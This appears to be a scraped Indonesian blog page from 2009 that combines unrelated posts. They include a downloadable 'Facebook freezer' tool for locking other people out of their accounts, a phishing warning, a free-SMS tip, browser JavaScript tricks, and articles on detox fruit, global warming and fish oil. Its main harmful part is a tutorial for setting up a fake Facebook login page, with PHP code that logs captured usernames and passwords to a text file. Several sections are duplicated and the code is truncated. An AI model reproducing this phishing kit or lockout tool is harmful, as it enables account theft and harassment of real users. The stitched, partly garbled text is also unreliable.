ini ada freeze trbaru dari bro surabayagetar,saya sendiri Lom coba sih hanya mindahin dari haLaman beLakang. biggrin
http://i31.tinypic.com/14llikp.png
Fitur:
1-normal freezer (beku)normal yang hanya akan Mengunci account seperti Facebook freezer
2- Forever Freeze (beku) yang tidak akan berhenti sampai program ini ditutup Black Hat
3-Watch tindakan (Mode) yang Anda dapat menyaksikan keindahan pembekuan hehehe
Download
Code:
http://uploading.com/files/7dm34b2a/facebookfreezer%2Bforeever.rar/
Tutorial
Code:
http://www.wonderhowto.com/how-to/video/how-to-do-a-facebook-account-freeze-hack-281244/
Freeze versi Lama.
Spoiler :
lg berselancar ria nemu beginian biggrin
http://img22.imageshack.us/img22/8682/69894375.jpg
ikutin langkah diatas
trus tunggu freezing sampe 100%
coba login fbnya....
and....FBnya gak isa login tongue
sdh saia coba sendiri, alhasil FB saia hrs reset password tear
(setelah di stop freeezing msh kudu reset password jg) badgrin
Code:
http://www31.indowebster.com/e61197c7e39f17c12b7f70c68fcf12ff.rar
Pass: ccpb
jgn wat ngerjain pacar ye tongue
piss ah thumbsup
Kamis, 29 Oktober 2009
HATI-HATI SITUS FACEBOOK PALSU
izin dulu nh ke mod,kalau gak berguna delete aja nod
langsung aja
baru-baru ini saya mendapatkan sebuah berita tentang sebuah situs yang mencoba melakukan penipuan kepada para pengguna Facebook dengan membuat halaman login yang mirip dengan halaman login Facebook. Adalah FBAction.net yang mencoba melakukan phishing dengan menangkap usename dan password Facebook yang diisi oleh korban dan menyimpannya dalam database mereka.
Berikut tampilan halaman FBAction.net
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW19J3IgUn_4y1WW9zC0C3oZDqDjZY-1cB2yXKukXN_PlPCCsBEZUqiFYEt2ndX80lGe19g0TFajuFUcrjBf5t9BWPvuxzIOGW7ryywzvNsLYo0yKFQ3ldW-phHdfUGUuDL_W16uxTTeY/s400/fbaction.net.gif
Untungnnya team Facebook dengan tanggap langsung memberikan solusi yang baik dengan memberikan peringatan setelah login bahwa halaman yang digunakan user untuk login adalah bukan halaman Facebook yang sesungguhnya dan menyarankan agar user mengganti password mereka sesegera mungkin.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSly94Q9egb8bg9XZ9HlHJ331KGzLx8xN0ug2JoBv9_zcaE5It1bWK6Pz5wqpvXA-pFOG1-mrixPLjPyEzkEMnJnlni2gvtY6KEWslZsKtNdm6q6qsRnyllCCTeUfdv_6UzUUHM4yPAus/s400/warningfacebook.gif
Mudah-mudahan informasi ini dapat mengingatkan kita sebagai user Facebook untuk selalu berhati-hati....waspadalah...waspadalah [Generate by Smileykiti]
langsung aja
baru-baru ini saya mendapatkan sebuah berita tentang sebuah situs yang mencoba melakukan penipuan kepada para pengguna Facebook dengan membuat halaman login yang mirip dengan halaman login Facebook. Adalah FBAction.net yang mencoba melakukan phishing dengan menangkap usename dan password Facebook yang diisi oleh korban dan menyimpannya dalam database mereka.
Berikut tampilan halaman FBAction.net
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgW19J3IgUn_4y1WW9zC0C3oZDqDjZY-1cB2yXKukXN_PlPCCsBEZUqiFYEt2ndX80lGe19g0TFajuFUcrjBf5t9BWPvuxzIOGW7ryywzvNsLYo0yKFQ3ldW-phHdfUGUuDL_W16uxTTeY/s400/fbaction.net.gif
Untungnnya team Facebook dengan tanggap langsung memberikan solusi yang baik dengan memberikan peringatan setelah login bahwa halaman yang digunakan user untuk login adalah bukan halaman Facebook yang sesungguhnya dan menyarankan agar user mengganti password mereka sesegera mungkin.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSly94Q9egb8bg9XZ9HlHJ331KGzLx8xN0ug2JoBv9_zcaE5It1bWK6Pz5wqpvXA-pFOG1-mrixPLjPyEzkEMnJnlni2gvtY6KEWslZsKtNdm6q6qsRnyllCCTeUfdv_6UzUUHM4yPAus/s400/warningfacebook.gif
Mudah-mudahan informasi ini dapat mengingatkan kita sebagai user Facebook untuk selalu berhati-hati....waspadalah...waspadalah [Generate by Smileykiti]
CARA SMS GRATIS LEWAT FACEBOOK
Maaf Klo tidak berguna di delet aja biggrin
Nah buat sobat - sobat yang lebih suka pake Facebook, nie dia tips n trick buat sms gratis di facebook. Sebenernya ga beda jauh ama yang di atas. Yuks, disimak step by stepnya...
1. Buat yang belum punya facebook, ayo buat facebook dulu..., klo udah punya, silahkan
masuk/log in dulu ke account facebook kamu.
http://i378.photobucket.com/albums/oo226/aryaagus/LoginFB.jpg
2. Next step, seperti di atas kamu klik disini untuk menuju ke ui.sg.
3. Nah, kamu juga akan langsung didirect ke www.dodotext.com
4. Selanjutnya klik link Facebook pada Add Our Facebook Application
http://i378.photobucket.com/albums/oo226/aryaagus/FB_1.jpg
5. Klo udah, Allow untuk mengizinkan aplikasi
http://i378.photobucket.com/albums/oo226/aryaagus/FB_3.jpg
6. Kemudian add aplikasi ke profil.
http://i378.photobucket.com/albums/oo226/aryaagus/FB_4.jpg
7. Sama juga seperti di atas, kamu setting negara tujuan SMS, Nomor HP tujuan, dan ketik SMS
kamu seperti biasa (max 100 karakter), lalu Send SMS.
http://i378.photobucket.com/albums/oo226/aryaagus/FB_2-1.jpg
8. Selesai...
9. Pokoknya klo udah berhasil jangan lupa repu ya... nod)
Nah buat sobat - sobat yang lebih suka pake Facebook, nie dia tips n trick buat sms gratis di facebook. Sebenernya ga beda jauh ama yang di atas. Yuks, disimak step by stepnya...
1. Buat yang belum punya facebook, ayo buat facebook dulu..., klo udah punya, silahkan
masuk/log in dulu ke account facebook kamu.
http://i378.photobucket.com/albums/oo226/aryaagus/LoginFB.jpg
2. Next step, seperti di atas kamu klik disini untuk menuju ke ui.sg.
3. Nah, kamu juga akan langsung didirect ke www.dodotext.com
4. Selanjutnya klik link Facebook pada Add Our Facebook Application
http://i378.photobucket.com/albums/oo226/aryaagus/FB_1.jpg
5. Klo udah, Allow untuk mengizinkan aplikasi
http://i378.photobucket.com/albums/oo226/aryaagus/FB_3.jpg
6. Kemudian add aplikasi ke profil.
http://i378.photobucket.com/albums/oo226/aryaagus/FB_4.jpg
7. Sama juga seperti di atas, kamu setting negara tujuan SMS, Nomor HP tujuan, dan ketik SMS
kamu seperti biasa (max 100 karakter), lalu Send SMS.
http://i378.photobucket.com/albums/oo226/aryaagus/FB_2-1.jpg
8. Selesai...
9. Pokoknya klo udah berhasil jangan lupa repu ya... nod)
CARA MENJEBOL FACEBOOK ORANG LAIN
Buat para admin Berhubung banyak yg minta Fake Login Fb
gw minta izin bagi2 koleksi gw.!!! close aja kalau gk berguna
dan di anggap nyampah!!!! buat yg udah jago lewati aja...buat yg masih belajar kayak gw..
siapin hostingan lo pertama buka ini:
Spoiler :
Facebook helps you connect and share with the people in your life.
Sign Up
It's free and anyone can join
Registering…copas scriptnya Di hostingan lo kasih nama index.php
terus buka yg ini:
Spoiler :
$value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
copas script nya kasih nama logs.php
yg terahir bikin file kosong di hostingan lo kasih nama hasil.txt
nanti id pas target akan di kirim ke sini .
karena ada yg minta Fake Login Fb pake default bahasa indonesia ini gw update satu lagi Fake Login Fb fersi indo hehehe ok caranya sama kayak yg di atas..siapin hostingan lo Buat satu file kasih nama write.php Yang Isinya:
$value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
kalau sudah klik ling di bawah ini
langsung kopas aja di hostingan u kasih nama index.php
buka index.php yg tadi , cari kata "action=" Code:
ganti url http://h1.ripway.com/facebomkcom/write.php dengan url write.php punya u
untuk tester aja u click link di bawah ini di kolom login isi terserah lo..setelah itu buka link di bawah ini:liat hasilnya
mohon dengan hormat buat para adminkalau ada yg kurang mohon
di lengkapi......!! gw hanya kasih alatnya buat cara jebak target supaya login di
Fake Login silahkan pikirkan caranya jangan minta di suapin terus
Fun Scripts di Facebook,javascript Hacks
Stelah beberapa lama ga posting tutorial ,.akhir na
gw nemu beberapa hacks baru tentang Facebook ni,..
smua ini ada kaitan nya dengan javascript,.
stelah di coba2 ternyata FB sdikit membuka peluang bagi para qta2 untuk sedikit berexplorasi,.
ternyata script javascript di address bar bisa di execute saat kita online di FB,.
hmm langsung aja deh ,sebenerna bukan hack c ,tapi patut di coba,.
-------------------------------------------------------------------
ngebuat status qt Offline,..
-------------------------------------------------------------------
ini yang mayan lucu,.
saat chating ma tmen di FB ,.coba suruh tmen kmu itu copy-in code ini di address bar:
javascript:statusControl.sendVisibility(false);
maka status dia bakal Offline ,.tentu aja ga permanent,.dia kembali Online setelah klik lg icon
atau gunain code sbalik nya:
javascript:statusControl.sendVisibility(true);
Status dia bakal kembali Online
---------------------------------
merubah warna tampilan navigation bar FB,..
-----------------------------------
xixixi ga usah di jelasin klo yang ini
sekarang kalian buka FB kalian,..lalu klo uda login
ketikan code ni di address bar :
javascript:void(document.getElementById('fb_menubar').style.background='red');
tulisan red dia atas kmu bisa ganti dengan warna lain,..:red,blue,black Dll
tentu aja ga permanent,.tapi mayan kan buat pamerr2 hahaha,..
oh ia coba kmu ganti dengan warna putih atau white,..dijamin tulisan nya bakal Ilang ahahahahah
---------------------------------
Chat history kmu dengan tmen kmu ,meskipun tmen kmu itu Off
------------------------------
biasanya yang sering chat di FB,..sering mengeluh klo window chat FB gada history nya.,
maka sebagian para chatter,ngga meng-close window chat nya ama seseorang ,hanya buat pengen liat history nya ama c doi
tapi karena terlajur ke -close n pengen liat history chat kemaren,tapi nunggu c doi
Ol Lma,.
kmu bisa gunain Code ini untuk memunculkan window chat kmu dengan c doi walaupun c doi OFF
javascript:buddyList.itemOnClick(#########);
ganti ##### dengan id profile tmen kmu itu,..
cara dapet profile id na gmana???
buka profile tmen kmu ,liat di address bar
contoh :http://www.facebook.com/profile.php?id=1773753904&ref=mf
maka profile id na :1773753904
,...
kalau pengen tes,..coba aja pake id profile sendri,..
maka window chat ke diri sendiri terbuka,..??bingung ya,.hahha,coba aja pake id profile sendiri
mayan buat catetan kan,..hehe ,tapi jangan di andelin buat catatan,.
--------------------------------------
mengubah nama kmu sementara
--------------------------------------
nama kmu bisa berubah sementara,...tapi sayang tmen2 kmu yang Ol liat kMU sebagai orang
dengan nama tertera asli nya,..
tapi mayan buat pamer hehe
pake code ini :
javascript:void(document.title="Facebook | d4rk");
maka tapilan nama nya jadi d4rk
--------------------------------
Mengclose jarak jauh chat window
-------------------------------
semisal si user dengan id =123 sedang chatting dengan user dengan Id=321
terus kmu suruh si id=123 ketikan Code ini :
javascript:chatDisplay.tabs[321].tabXOnClick();
maka chatingan id=123 bkal ke close dengan c id=321,..
-----------------------------------
hacks lain2 nya
---------------------------------
-mengeluarkan isi notifikasi window :
javascript:presence.toggleTab('chat_status_control','chat_status_control_tab');
-mengeluarkan list Friend yang OL :
javascript:buddyList.toggleTab();
-mengeluarkan tab Application
javascript:applicationDock.toggleTab();
-ketika sedang chat,..terus kata2 kita pengen di BOld ,maka gunain bintang
contoh : *test* ,yang keluar adalah : test
kalau pengen di underline ,..pake "_"
contoh : _test_, maka yang keluar adalah: test
gw nemu beberapa hacks baru tentang Facebook ni,..
smua ini ada kaitan nya dengan javascript,.
stelah di coba2 ternyata FB sdikit membuka peluang bagi para qta2 untuk sedikit berexplorasi,.
ternyata script javascript di address bar bisa di execute saat kita online di FB,.
hmm langsung aja deh ,sebenerna bukan hack c ,tapi patut di coba,.
-------------------------------------------------------------------
ngebuat status qt Offline,..
-------------------------------------------------------------------
ini yang mayan lucu,.
saat chating ma tmen di FB ,.coba suruh tmen kmu itu copy-in code ini di address bar:
javascript:statusControl.sendVisibility(false);
maka status dia bakal Offline ,.tentu aja ga permanent,.dia kembali Online setelah klik lg icon
atau gunain code sbalik nya:
javascript:statusControl.sendVisibility(true);
Status dia bakal kembali Online
---------------------------------
merubah warna tampilan navigation bar FB,..
-----------------------------------
xixixi ga usah di jelasin klo yang ini
sekarang kalian buka FB kalian,..lalu klo uda login
ketikan code ni di address bar :
javascript:void(document.getElementById('fb_menubar').style.background='red');
tulisan red dia atas kmu bisa ganti dengan warna lain,..:red,blue,black Dll
tentu aja ga permanent,.tapi mayan kan buat pamerr2 hahaha,..
oh ia coba kmu ganti dengan warna putih atau white,..dijamin tulisan nya bakal Ilang ahahahahah
---------------------------------
Chat history kmu dengan tmen kmu ,meskipun tmen kmu itu Off
------------------------------
biasanya yang sering chat di FB,..sering mengeluh klo window chat FB gada history nya.,
maka sebagian para chatter,ngga meng-close window chat nya ama seseorang ,hanya buat pengen liat history nya ama c doi
tapi karena terlajur ke -close n pengen liat history chat kemaren,tapi nunggu c doi
Ol Lma,.
kmu bisa gunain Code ini untuk memunculkan window chat kmu dengan c doi walaupun c doi OFF
javascript:buddyList.itemOnClick(#########);
ganti ##### dengan id profile tmen kmu itu,..
cara dapet profile id na gmana???
buka profile tmen kmu ,liat di address bar
contoh :http://www.facebook.com/profile.php?id=1773753904&ref=mf
maka profile id na :1773753904
,...
kalau pengen tes,..coba aja pake id profile sendri,..
maka window chat ke diri sendiri terbuka,..??bingung ya,.hahha,coba aja pake id profile sendiri
mayan buat catetan kan,..hehe ,tapi jangan di andelin buat catatan,.
--------------------------------------
mengubah nama kmu sementara
--------------------------------------
nama kmu bisa berubah sementara,...tapi sayang tmen2 kmu yang Ol liat kMU sebagai orang
dengan nama tertera asli nya,..
tapi mayan buat pamer hehe
pake code ini :
javascript:void(document.title="Facebook | d4rk");
maka tapilan nama nya jadi d4rk
--------------------------------
Mengclose jarak jauh chat window
-------------------------------
semisal si user dengan id =123 sedang chatting dengan user dengan Id=321
terus kmu suruh si id=123 ketikan Code ini :
javascript:chatDisplay.tabs[321].tabXOnClick();
maka chatingan id=123 bkal ke close dengan c id=321,..
-----------------------------------
hacks lain2 nya
---------------------------------
-mengeluarkan isi notifikasi window :
javascript:presence.toggleTab('chat_status_control','chat_status_control_tab');
-mengeluarkan list Friend yang OL :
javascript:buddyList.toggleTab();
-mengeluarkan tab Application
javascript:applicationDock.toggleTab();
-ketika sedang chat,..terus kata2 kita pengen di BOld ,maka gunain bintang
contoh : *test* ,yang keluar adalah : test
kalau pengen di underline ,..pake "_"
contoh : _test_, maka yang keluar adalah: test
Life Good
Detoks dengan Buah Segar
April 26, 2007 — Info
Buah segar adalah gudang zat gizi yang penting bagi tubuh. Dengan kandungan vitamin, mineral, serat, asam amino dan enzim, buah segar akan selalu menjadi tokoh penting dalam segala macam program detoks karena membantu mengikat racun dan membuangnya dari dalam tubuh.
Buah Jeruk
Buah menyegarkan ini mengandung banyak vitamin C, antioksidan kuat yang mampu melindungi tubuh dari radikal bebas yang berbahaya dan mencegah penuaan dini. Antioksidan juga membantu mengurangi resiko terserang kanker dan penyakit jantung serta meningkatkan penyerapan zat besi.
Jeruk lemom mungkin adalah buah pembersih paling baik. Kandungan astringen dan antiseptiknya merangsang kerja hati dan kantong empedu. Segelas air panas dan perasan jeruk lemon segar adalah cara paling baik untuk memulai sebuah rencana detoks. Perasan jeruk dan grapefruit segar akan merangsang pencernaan dan menyehatkan system tubuh. Selain itu, perasan buah-buahan tersebut juga kaya akan beta-karoten, kalsium, fosfor dan potassium.
Apel, Pir dan Anggur
Apel yang renyah mengandung asam malat dan asam tartaric, yang berperan meningkatkan kerja system pencernaan dan membersihkan hati. Kandungan pectin yang tinggi akan mengikat logam berat, seperti timah. Apel juga menyediakan pasokan energi yang stabil dengan kandungan fruktosa (gula asam)
Buah selanjutnya adalah Pir. Apabila dimakan secara teratur, pir bisa membantu mempercantik kulit dan membuat rambut berkilau. Selain itu, pir juga berperan sebagai obat diuretic (pendorong produksi air seni) dan laksatif (pencahar) yang efektif. Buah lainnya adalah anggur. Anggur yang banyak digunakan dalam monodiet sehari merupakan salah satu alat detoks yang paling efektif. Buah ini terbukti dapat meringankan sembelit dan membantu mengatasi masalah ginjal, hati, system pencernaan, serta kulit. Anggur yang paling baik adalah anggur putih atau anggur merah.
Mangga
Buah dengan daging yang lembut dan harum ini terbukti mampu membersihkan darah. Buah ini juga baik untuk system ginjal dan pencernaan
Global Warming
 | Artikel PEMANASAN GLOBAL | for everyone |
Pemanasan Global (?!?), Apa yang kita (bisa) perbuat?
Pemanasan global adalah kejadian meningkatnya temperatur rata-rata atmosfer, laut dan daratan Bumi. Planet Bumi telah menghangat (dan juga mendingin) berkali-kali selama 4,65 milyar tahun sejarahnya. Pada saat ini, Bumi menghadapi pemanasan yang cepat, yang oleh para ilmuan dianggap disebabkan aktifitas manusia. Penyebab utama pemanasan ini adalah pembakaran bahan bakar fosil, seperti batu bara, minyak bumi, dan gas alam, yang melepas karbondioksida dan gas-gas lainnya yang dikenal sebagai gas rumah kaca ke atmosfer. Ketika atmosfer semakin kaya akan gas-gas rumah kaca ini, ia semakin menjadi insulator yang menahan lebih banyak panas dari Matahari yang dipancarkan ke Bumi (sumber dari Wikipedia). Jadi sih intinya Bumi kita tuh memanas karena sinar matahari yang sudah masuk ke bumi kita tidak bisa keluar lagi karena gas-gas rumah kaca tadi membentuk lapisan di atmosfer yang memantulkan sinar matahari tadi (kalau mau baca lebih lengkap silahkan lihat di Wikipedia).
(gambar dari situs kementrian lingkungan hidup)
Terus kalo suhu bumi meningkat kenapa?
Yang pastinya sih daerah bagian Utara dari belahan Bumi Utara akan memanas lebih dari daerah-daerah lain di Bumi. Akibatnya, gunung-gunung es akan mencair dan daratan akan mengecil.
Nah terus hubungannya dengan Kota tempat kita tinggal bagaimana? dan apa yang kita bisa lakukan?
Dari pembicaraan dengan teman, yang juga seorang petani dan petambak, dia bilang sekarang (terutama 2-3 tahun ke belakang) sangat sulit untuk memprediksi cuaca. Seperti yang kita tahu para petani memakai cuaca sebagai patokan penanaman mereka, jadi kalo salah prediksi cuaca bisa-bisa tidak bisa panen atau panennya jelek sehingga merugi.Dan satu lagi mungkin yang efeknya bisa terasa langsung ke kita yaitu nyamuk. Kok nyamuk? Karena nyamuk baik untuk berkembang biak di tempat yang hangat, jadi mungkin saja semakin panjangnya musim demam berdarah di indonesia karena temperature yang meningkat dari tahun-tahun sebelumnya.
Nah terus apa sih yang bisa kita lakukan sebagai orang biasa untuk berkontribusi positif dalam pengurangan pemanasan global. Sebenernya sih mudah-mudah aja tapi tidak mudah untuk dilakukan.
Untuk kita yang dirumah kita bisa:
(1) Matikan semua alat elektronik saat tidak digunakan. Kerlip merah penanda standby menunjukkan alat tersebut masih menggunakan listrik. Artinya Anda terus berkontribusi pada pemanasan global.
(2)Pilihlah perlengkapan elektronik serta lampu yang hemat energi
(3)Saat matahari bersinar hindari penggunaan mesin pengering, jemur dan biarkan pakaian kering secara alami
(4)Matikan keran saat sedang menggosok gigi
(5) Gunakan air bekas cucian sayuran dan buah untuk menyiram tanaman
(6)Segera perbaiki keran yang bocor - keran bocor menumpahkan air bersih hingga 13 liter air per hari
(7)Jika mungkin mandilah dengan menggunakan shower. Mandi berendam merupakan cara yang paling boros air.
(8)Selalu gunakan kertas di kedua sisinya
(9)Gunakan kembali amplop bekas
(10)Jangan gunakan produk ’sekali pakai’ seperti piring dan sendok kertas atau pisau, garpu dan cangkir plastik
(11)Gunakan baterai isi ulang
(12)Pilih kalkulator bertenaga surya
Kenapa kebanyakan kok yang berhubungan listrik?
Karena untuk memproduksi listrik kita masih memakai bahan bakar yang berasal dari fosil, jadi dengan mengurangi konsumsi listrik kita berkontribusi juga dalam pengurangan potensi polusi akibat produksi listrik/energi tadi. Mungkin kita pikir, masak pengurangan konsumsi listrik kita berpengaruh sih? Tapi kalo kita pikir yang melakukan hal ini banyak orang, pengurangan konsumsi energinyapun akan menjadi sangat besar. Jadi program dari PLN 17-22 bisa dipraktekkan tuh 
Untuk tips-tips lain gaya hidup ramah lingkungan di tempat kerja, saat berlibur maupun berbelanja dapat melihat situs WWF Indonesia.
Pemanasan global sudah bukan menjadi isu lagi saat ini, pemanasan global sudah menjadi masalah yang harus kita hadapi atau kita pecahkan bersama. Jadi marilah kita mulai bersama-sama gaya hidup yang ramah lingkungan dari kita sendiri dan mulailah perkenalkanlah gaya hidup ini pada orang-orang yang paling dekat dengan kita seperti keluarga, pacar, teman dan tetangga kalau bisa.
THINK GLOBALY ACT LOCALY, Rian Hayati
Healthy Life
Pentingnya Minyak Ikan Bagi Tubuh
Minyak ikan mengandung 2 tipe asama lemak omega-3 yang penting bagi kesehatan tubuh kita, yaitu docosahexaenoic acid (DHA) dan and eicosapentaenoic acid (EPA). DHA menjaga otak agar berfungsi sebagaimana mestinya dan EPA mempertahankan kesehatan serta kecantikan kulit kita. EPA mempertahankan kecantikan kulit dengan mengontrol produksi minyak berlebih sehingga mencegah jerawat dan memperlambat penuaan kulit sehingga menunda terjadinya keriput 
Berdasarkan sebuah studi yang dilaporkan pada Journal of Lipid Research menunjukkan bahwa EPA sanggup mencegah pelepasan UV-induced enzim yang menghancurkan kolagen pada kulit, penghancuran kolagen ini menyebabkan terbentuknya garis-garis penuaan dan keriput. Karena EPA adalah antioksidan sekaligus anti inflamasi, maka EPA bisa melindungi kita dari efek buruk sinar matahari.
Kebanyakan dari kita tidak mendapat suplai minyak ikan yang cukup. Ikan herring, salmon dan tuna merupakan sumber minyak ikan yang ampuh, oleh karena itu pastikan bahwa menu ikan laut termasuk salah satu resep dalam dapur anda 
Kamis, 22 Oktober 2009
Langganan:
Postingan (Atom)